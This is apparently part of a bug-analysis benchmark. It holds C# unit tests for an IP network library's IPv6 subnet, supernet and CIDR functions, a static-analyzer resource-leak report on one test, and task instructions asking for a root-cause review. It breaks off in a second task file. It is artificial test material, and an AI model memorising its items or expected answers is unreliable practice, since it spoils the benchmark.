+            Assert.AreEqual("1:1:1:1:3000::/68", subnets[3].ToString(), "subnet4");
+            Assert.AreEqual("1:1:1:1:4000::/68", subnets[4].ToString(), "subnet5");
+            Assert.AreEqual("1:1:1:1:5000::/68", subnets[5].ToString(), "subnet6");
+            Assert.AreEqual("1:1:1:1:6000::/68", subnets[6].ToString(), "subnet7");
+            Assert.AreEqual("1:1:1:1:7000::/68", subnets[7].ToString(), "subnet8");
+            Assert.AreEqual("1:1:1:1:8000::/68", subnets[8].ToString(), "subnet9");
+            Assert.AreEqual("1:1:1:1:9000::/68", subnets[9].ToString(), "subnet10");
+            Assert.AreEqual("1:1:1:1:a000::/68", subnets[10].ToString(), "subnet11");
+            Assert.AreEqual("1:1:1:1:b000::/68", subnets[11].ToString(), "subnet12");
+            Assert.AreEqual("1:1:1:1:c000::/68", subnets[12].ToString(), "subnet13");
+            Assert.AreEqual("1:1:1:1:d000::/68", subnets[13].ToString(), "subnet14");
+            Assert.AreEqual("1:1:1:1:e000::/68", subnets[14].ToString(), "subnet15");
+            Assert.AreEqual("1:1:1:1:f000::/68", subnets[15].ToString(), "subnet16");
+
+        }
+
+
+        [TestMethod]
+        public void TestSubnet7() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("1:1:1:1:1:1:1:1");
+            byte cidr = 72;
+
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            Assert.AreEqual(256, subnets.Count, "count");
+            Assert.AreEqual("1:1:1:1::/72", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("1:1:1:1:ff00::/72", subnets[255].ToString(), "subnet256");
+
+        }
+
+
+        [TestMethod]
+        public void TestSubnet9() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:db08:1:1:1:1:1:1");
+            byte cidr = 128;
+            var count = BigInteger.Pow(2, ipnetwork.Cidr);
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            Assert.AreEqual(count, subnets.Count, "count");
+            Assert.AreEqual("2001:db08:1:1::/128", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("2001:db08:1:1::ff/128", subnets[255].ToString(), "subnet256");
+            Assert.AreEqual("2001:db08:1:1:ffff:ffff:ffff:ffff/128", subnets[count-1].ToString(), "last");
+
+        }
+
+
+        [TestMethod]
+        public void TestSubnet10() {
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:db08::/0");
+            byte cidr = 128;
+            var count = BigInteger.Pow(2, 128-ipnetwork.Cidr);
+
+            // Here I spawm a OOM dragon ! beware of the beast !
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            Assert.AreEqual(count, subnets.Count, "count");
+            Assert.AreEqual("::/128", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff/128", subnets[count - 1].ToString(), "last");
+
+        }
+
+
+        [TestMethod]
+        public void TestSubnet12() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:db08::/64");
+            byte cidr = 70;
+            int i = -1;
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            foreach (IPNetwork ipn in subnets) {
+                i++;
+                Assert.AreEqual(subnets[i], ipn, "subnet");
+            }
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentOutOfRangeException))]
+        public void TestSubnet13()
+        {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:db08::/64");
+            byte cidr = 70;
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            IPNetwork error = subnets[1000];
+
+        }
+
+
+
+        [TestMethod]
+        public void TestSubnet14()
+        {
+
+            IPNetwork network = IPNetwork.Parse("15.0.0.0/8");
+            var subnets = IPNetwork.Subnet(network, (byte)12);
+            Assert.AreEqual(subnets[0].ToString(), "15.0.0.0/12", "subnets[0]");
+            Assert.AreEqual(subnets[1].ToString(), "15.16.0.0/12", "subnets[1]");
+            Assert.AreEqual(subnets[2].ToString(), "15.32.0.0/12", "subnets[2]");
+            Assert.AreEqual(subnets[15].ToString(), "15.240.0.0/12", "subnets[15]");
+
+            foreach (IPNetwork ipn in subnets)
+            {
+                Console.WriteLine(ipn);
+            }
+        }
+
+
+
+        #endregion
+
+        #region TrySubnet
+
+
+        [TestMethod]
+        public void TestTrySubnet3() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:db08::/64");
+            byte cidr = 255;
+
+            IPNetworkCollection subnets = null;
+            bool subnetted = IPNetwork.TrySubnet(ipnetwork, cidr, out subnets);
+
+            Assert.AreEqual(false, subnetted, "subnetted");
+        }
+
+
+        [TestMethod]
+        public void TestTrySubnet4() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:db08::/64");
+            byte cidr = 63;
+
+            IPNetworkCollection subnets = null;
+            bool subnetted = IPNetwork.TrySubnet(ipnetwork, cidr, out subnets);
+
+            Assert.AreEqual(false, subnetted, "subnetted");
+
+        }
+
+
+        [TestMethod]
+        public void TestTrySubnet5() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:db8::/64");
+            byte cidr = 65;
+
+            IPNetworkCollection subnets = null;
+            bool subnetted = IPNetwork.TrySubnet(ipnetwork, cidr, out subnets);
+
+            Assert.AreEqual(true, subnetted, "subnetted");
+            Assert.AreEqual(2, subnets.Count, "count");
+            Assert.AreEqual("2001:db8::/65", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("2001:db8:0:0:8000::/65", subnets[1].ToString(), "subnet2");
+
+        }
+
+
+        [TestMethod]
+        public void TestTrySubnet6() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:db8::/64");
+            byte cidr = 68;
+
+            IPNetworkCollection subnets = null;
+            bool subnetted = IPNetwork.TrySubnet(ipnetwork, cidr, out subnets);
+
+            Assert.AreEqual(true, subnetted, "subnetted");
+            Assert.AreEqual(16, subnets.Count, "count");
+            Assert.AreEqual("2001:db8::/68", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("2001:db8:0:0:1000::/68", subnets[1].ToString(), "subnet2");
+            Assert.AreEqual("2001:db8:0:0:2000::/68", subnets[2].ToString(), "subnet3");
+            Assert.AreEqual("2001:db8:0:0:3000::/68", subnets[3].ToString(), "subnet4");
+            Assert.AreEqual("2001:db8:0:0:4000::/68", subnets[4].ToString(), "subnet5");
+            Assert.AreEqual("2001:db8:0:0:5000::/68", subnets[5].ToString(), "subnet6");
+            Assert.AreEqual("2001:db8:0:0:6000::/68", subnets[6].ToString(), "subnet7");
+            Assert.AreEqual("2001:db8:0:0:7000::/68", subnets[7].ToString(), "subnet8");
+            Assert.AreEqual("2001:db8:0:0:8000::/68", subnets[8].ToString(), "subnet9");
+            Assert.AreEqual("2001:db8:0:0:9000::/68", subnets[9].ToString(), "subnet10");
+            Assert.AreEqual("2001:db8:0:0:a000::/68", subnets[10].ToString(), "subnet11");
+            Assert.AreEqual("2001:db8:0:0:b000::/68", subnets[11].ToString(), "subnet12");
+            Assert.AreEqual("2001:db8:0:0:c000::/68", subnets[12].ToString(), "subnet13");
+            Assert.AreEqual("2001:db8:0:0:d000::/68", subnets[13].ToString(), "subnet14");
+            Assert.AreEqual("2001:db8:0:0:e000::/68", subnets[14].ToString(), "subnet15");
+            Assert.AreEqual("2001:db8:0:0:f000::/68", subnets[15].ToString(), "subnet16");
+
+        }
+
+
+
+        #endregion
+
+
+
+
+
+
+        #region TrySupernet
+
+
+        [TestMethod]
+        public void TestTrySupernet1() {
+
+            IPNetwork network1 = IPNetwork.Parse("2001:db8::/65");
+            IPNetwork network2 = IPNetwork.Parse("2001:db8:0:0:8000::/65");
+            IPNetwork supernetExpected = IPNetwork.Parse("2001:db8::/64");
+            IPNetwork supernet;
+            bool supernetted = true;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetted, result, "supernetted");
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+
+        }
+
+        [TestMethod]
+        public void TestTrySupernet2() {
+
+            IPNetwork network1 = null;
+            IPNetwork network2 = IPNetwork.Parse("2001:db8::/64");
+            IPNetwork supernetExpected = null;
+            IPNetwork supernet;
+            bool parsed = false;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+        }
+
+        [TestMethod]
+        public void TestTrySupernet3() {
+
+            IPNetwork network1 = IPNetwork.Parse("2001:db8::/64");
+            IPNetwork network2 = null;
+            IPNetwork supernetExpected = null;
+            IPNetwork supernet;
+            bool parsed = false;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+        }
+
+        [TestMethod]
+        public void TestTrySupernet4() {
+
+            IPNetwork network1 = IPNetwork.Parse("2001:db8::/64");
+            IPNetwork network2 = IPNetwork.Parse("2001:db9::/65");
+            IPNetwork supernetExpected = null;
+            IPNetwork supernet;
+            bool parsed = false;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+        }
+
+        [TestMethod]
+        public void TestTrySupernet5() {
+
+            IPNetwork network1 = IPNetwork.Parse("2001:db8::/64");
+            IPNetwork network2 = IPNetwork.Parse("2001:dba::/64");
+            IPNetwork supernetExpected = null;
+            IPNetwork supernet;
+            bool parsed = false;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+        }
+
+        [TestMethod]
+        public void TestTrySupernet6() {
+
+            IPNetwork network1 = IPNetwork.Parse("2001:db8::/64");
+            IPNetwork network2 = IPNetwork.Parse("2001:db8::1/65");
+            IPNetwork supernetExpected = IPNetwork.Parse("2001:db8::/64");
+            IPNetwork supernet;
+            bool parsed = true;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+
+        }
+
+        [TestMethod]
+        public void TestTrySupernet7() {
+
+            IPNetwork network1 = IPNetwork.Parse("2001:db8::/64");
+            IPNetwork network2 = IPNetwork.Parse("2001:db8::1/65");
+            IPNetwork supernetExpected = IPNetwork.Parse("2001:db8::/64");
+            IPNetwork supernet;
+            bool parsed = true;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+
+        }
+
+        [TestMethod]
+        public void TestTrySupernet8() {
+
+            IPNetwork network1 = IPNetwork.Parse("2001:db0::/64");
+            IPNetwork network2 = IPNetwork.Parse("2001:dbf::/64");
+            IPNetwork supernetExpected = null;
+            IPNetwork supernet;
+            bool parsed = false;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+
+        }
+
+        [TestMethod]
+        public void TestTrySupernet9() {
+
+            IPNetwork network1 = IPNetwork.Parse("192.168.1.1/24");
+            IPNetwork network2 = IPNetwork.Parse("192.168.2.1/24");
+            IPNetwork[] network3 = new[] { network1, network2 };
+            IPNetwork[] supernetExpected = new[] { network1, network2 };
+            IPNetwork[] supernet;
+            bool parsed = true;
+            bool result = IPNetwork.TrySupernet(network3, out supernet);
+
+            Assert.AreEqual(supernetExpected[0], supernet[0], "supernet");
+            Assert.AreEqual(supernetExpected[1], supernet[1], "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+
+        }
+
+
+        [TestMethod]
+        public void TestTrySupernet10() {
+
+            IPNetwork network1 = IPNetwork.Parse("2001:db8:0000::/65");
+            IPNetwork network2 = IPNetwork.Parse("2001:db8:0:0:8000::/65");
+            IPNetwork[] network3 = new[] { network1, network2 };
+            IPNetwork[] supernetExpected = new[] { IPNetwork.Parse("2001:db8::/64") };
+            IPNetwork[] supernet;
+            bool parsed = true;
+            bool result = IPNetwork.TrySupernet(network3, out supernet);
+
+            Assert.AreEqual(supernetExpected[0], supernet[0], "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+
+        }
+
+
+        [TestMethod]
+        public void TestTrySupernet11() {
+
+            IPNetwork[] network3 = null;
+            IPNetwork[] supernetExpected = new[] { IPNetwork.Parse("2001:db8::/64") };
+            IPNetwork[] supernet;
+            bool parsed = false;
+            bool result = IPNetwork.TrySupernet(network3, out supernet);
+
+            Assert.AreEqual(null, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+
+        }
+
+
+        #endregion
+
+
+
+
+
+
+
+        #region TryGuessCidr
+
+        [TestMethod]
+        public void TestTryGuessCidrNull() {
+
+            byte cidr;
+            bool parsed = IPNetwork.TryGuessCidr(null, out cidr);
+
+            Assert.AreEqual(false, parsed, "parsed");
+            Assert.AreEqual(0, cidr, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryGuessCidr1() {
+
+            byte cidr;
+            bool parsed = IPNetwork.TryGuessCidr("::", out cidr);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(64, cidr, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryGuessCidr2() {
+
+            byte cidr;
+            bool parsed = IPNetwork.TryGuessCidr("2001:0db8::", out cidr);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(64, cidr, "cidr");
+        }
+
+
+        #endregion
+
+
+
+
+        #region Count
+
+        [TestMethod]
+        public void Total32() {
+            var network = IPNetwork.Parse("::/128");
+            var total = 1;
+            Assert.AreEqual(total, network.Total, "Total");
+        }
+
+        [TestMethod]
+        public void Total31() {
+            var network = IPNetwork.Parse("::/127");
+            var total = 2;
+            Assert.AreEqual(total, network.Total, "Total");
+        }
+
+        [TestMethod]
+        public void Total30() {
+            var network = IPNetwork.Parse("::/126");
+            var total = 4;
+            Assert.AreEqual(total, network.Total, "Total");
+        }
+
+        [TestMethod]
+        public void Total24() {
+            var network = IPNetwork.Parse("::/120");
+            var total = 256;
+            Assert.AreEqual(total, network.Total, "Total");
+        }
+
+        [TestMethod]
+        public void Total16() {
+            var network = IPNetwork.Parse("::/112");
+            var total = 65536;
+            Assert.AreEqual(total, network.Total, "Total");
+        }
+
+        [TestMethod]
+        public void Total8() {
+            var network = IPNetwork.Parse("::/104");
+            var total = 16777216;
+            Assert.AreEqual(total, network.Total, "Total");
+        }
+
+        [TestMethod]
+        public void Total0() {
+            var network = IPNetwork.Parse("::/0");
+            var total = BigInteger.Pow(2, 128);
+            Assert.AreEqual(total, network.Total, "Total");
+        }
+
+        #endregion
+
+        #region Usable
+
+        [TestMethod]
+        public void Usable32() {
+            var network = IPNetwork.Parse("::/128");
+            uint usable = 1;
+            Assert.AreEqual(usable, network.Usable, "Usable");
+        }
+
+        [TestMethod]
+        public void Usable31() {
+            var network = IPNetwork.Parse("::/127");
+            uint usable = 2;
+            Assert.AreEqual(usable, network.Usable, "Usable");
+        }
+
+        [TestMethod]
+        public void Usable30() {
+            var network = IPNetwork.Parse("::/126");
+            uint usable = 4;
+            Assert.AreEqual(usable, network.Usable, "Usable");
+        }
+
+        [TestMethod]
+        public void Usable24() {
+            var network = IPNetwork.Parse("::/120");
+            uint usable = 256;
+            Assert.AreEqual(usable, network.Usable, "Usable");
+        }
+
+        [TestMethod]
+        public void Usable16() {
+            var network = IPNetwork.Parse("::/112");
+            uint usable = 65536;
+            Assert.AreEqual(usable, network.Usable, "Usable");
+        }
+
+        [TestMethod]
+        public void Usable8() {
+            var network = IPNetwork.Parse("::/104");
+            uint usable = 16777216;
+            Assert.AreEqual(usable, network.Usable, "Usable");
+        }
+
+        [TestMethod]
+        public void Usable0() {
+            var network = IPNetwork.Parse("::/0");
+            var usable = BigInteger.Pow(2, 128);
+            Assert.AreEqual(usable, network.Usable, "Usable");
+        }
+
+        #endregion
+
+        #region TryParseCidr
+
+        [TestMethod]
+        public void TryParseCidr1() {
+
+            string sidr = "0";
+            byte? cidr;
+            byte? result = 0;
+            bool parsed = IPNetwork.TryParseCidr(sidr, Sockets.AddressFamily.InterNetworkV6, out cidr);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(result, cidr, "cidr");
+
+        }
+
+        [TestMethod]
+        public void TryParseCidr2() {
+
+            string sidr = "sadsd";
+            byte? cidr;
+            byte? result = null;
+
+            bool parsed = IPNetwork.TryParseCidr(sidr, Sockets.AddressFamily.InterNetworkV6, out cidr);
+
+            Assert.AreEqual(false, parsed, "parsed");
+            Assert.AreEqual(result, cidr, "cidr");
+
+        }
+
+        [TestMethod]
+        public void TryParseCidr33() {
+
+            string sidr = "33";
+            byte? cidr;
+            byte result = 33;
+
+            bool parsed = IPNetwork.TryParseCidr(sidr, Sockets.AddressFamily.InterNetworkV6, out cidr);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(result, cidr, "cidr");
+
+        }
+
+        [TestMethod]
+        public void TryParseCidr128() {
+
+            string sidr = "128";
+            byte? cidr;
+            byte result = 128;
+
+            bool parsed = IPNetwork.TryParseCidr(sidr, Sockets.AddressFamily.InterNetworkV6, out cidr);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(result, cidr, "cidr");
+
+        }
+        [TestMethod]
+        public void TryParseCidr129() {
+
+            string sidr = "129";
+            byte? cidr;
+            byte? result = null;
+
+            bool parsed = IPNetwork.TryParseCidr(sidr, Sockets.AddressFamily.InterNetworkV6, out cidr);
+
+            Assert.AreEqual(false, parsed, "parsed");
+            Assert.AreEqual(result, cidr, "cidr");
+
+        }
+
+        #endregion
+
+
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource subnets of type System.Net.IPNetworkCollection in method "Void IPNetworkV6UnitTest.TestSubnet9()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void IPNetworkV6UnitTest.TestSubnet9()
+
+### File:
+src/System.Net.IPNetwork.TestProject.Source/IPNetworkV6UnitTest.cs
+
+### Key:
+IPNetworkV6UnitTest.cs|TestSubnet9|DOTNET_RESOURCE_LEAK
+
+### Hash:
+407afaa19ae2ac195afb23a435ace75e
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1625/instruction.md b/inferredbugs-1625/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a02cd08a6ddb540ef3732617766b2ec0555c411d
--- /dev/null
+++ b/inferredbugs-1625/instruction.md
@@ -0,0 +1,2546 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** ipnetwork
+**Bug ID:** 21
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Microsoft.VisualStudio.TestTools.UnitTesting;
+using System.Numerics;
+
+namespace System.Net.TestProject
+{
+    [TestClass]
+    public class IPNetworkV6UnitTest {
+
+        #region ParseIP
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestParseIPAddressNetmaskANE8() {
+            IPNetwork ipnet = IPNetwork.Parse("xxxx::", "xxxx::");
+
+        }
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestParseIPAddressNetmaskANE9() {
+            IPNetwork ipnet = IPNetwork.Parse("::", "xxxx::");
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestParseIPAddressNetmaskANE10() {
+            IPNetwork ipnet = IPNetwork.Parse("xxxx::", 0);
+
+        }
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestParseIPAddressNetmaskANE11() {
+            IPNetwork ipnet = IPNetwork.Parse("::", 129);
+
+        }
+
+        [TestMethod]
+        public void TestParsev6_128() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "2001:db8::";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+
+            string network = "2001:db8::";
+            string netmask2 = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            //string broadcast = "2001:db8::";
+            string firstUsable = "2001:db8::";
+            string lastUsable = "2001:db8::";
+            byte cidr = 128;
+            BigInteger usable = 1;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask2, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+        
+        [TestMethod]
+        public void TestParsev6_127() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "2001:db8::";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffe";
+
+            string network = "2001:db8::";
+            string netmask2 = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffe";
+            //string broadcast = "2001:db8::1";
+            string firstUsable = "2001:db8::";
+            string lastUsable = "2001:db8::1";
+            byte cidr = 127;
+            BigInteger usable = 2;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask2, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+        [TestMethod]
+        public void TestParsev6_126() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "2001:db8::";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffc";
+
+            string network = "2001:db8::";
+            string netmask2 = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffc";
+            //string broadcast = "2001:db8::3";
+            string firstUsable = "2001:db8::";
+            string lastUsable = "2001:db8::3";
+            byte cidr = 126;
+            BigInteger usable = 4;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask2, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+        [TestMethod]
+        public void TestParsev6_125() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "2001:db8::";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff8";
+
+            string network = "2001:db8::";
+            string netmask2 = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff8";
+            //string broadcast = "2001:db8::7";
+            string firstUsable = "2001:db8::";
+            string lastUsable = "2001:db8::7";
+            byte cidr = 125;
+            BigInteger usable = 8;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask2, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+        [TestMethod]
+        public void TestParsev6_124() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "2001:db8::";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0";
+
+            string network = "2001:db8::";
+            string netmask2 = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0";
+            //string broadcast = "2001:db8::f";
+            string firstUsable = "2001:db8::";
+            string lastUsable = "2001:db8::f";
+            byte cidr = 124;
+            BigInteger usable = 16;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask2, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestParsev6_123() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "2001:0db8::";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffe0";
+
+            string network = "2001:db8::";
+            string netmask2 = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffe0";
+            //string broadcast = "2001:db8::1f";
+            string firstUsable = "2001:db8::";
+            string lastUsable = "2001:db8::1f";
+            byte cidr = 123;
+            BigInteger usable = 32;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask2, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+
+        [TestMethod]
+        public void TestParsev6_112() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:0000";
+
+            string network = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:0";
+            string netmask2 = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:0";
+            //string broadcast = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string firstUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:0";
+            string lastUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            byte cidr = 112;
+            uint usable = 65536;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask2, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+        [TestMethod]
+        public void TestParsev6_64() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "ffff:ffff:ffff:ffff:1234:1234:1234:1234";
+            string netmask = "ffff:ffff:ffff:ffff:0000:0000:0000:0000";
+
+            string network = "ffff:ffff:ffff:ffff::";
+            string netmask2 = "ffff:ffff:ffff:ffff::";
+            //string broadcast = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string firstUsable = "ffff:ffff:ffff:ffff::";
+            string lastUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            byte cidr = 64;
+            BigInteger usable = BigInteger.Pow(2, (128 - cidr)) ;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
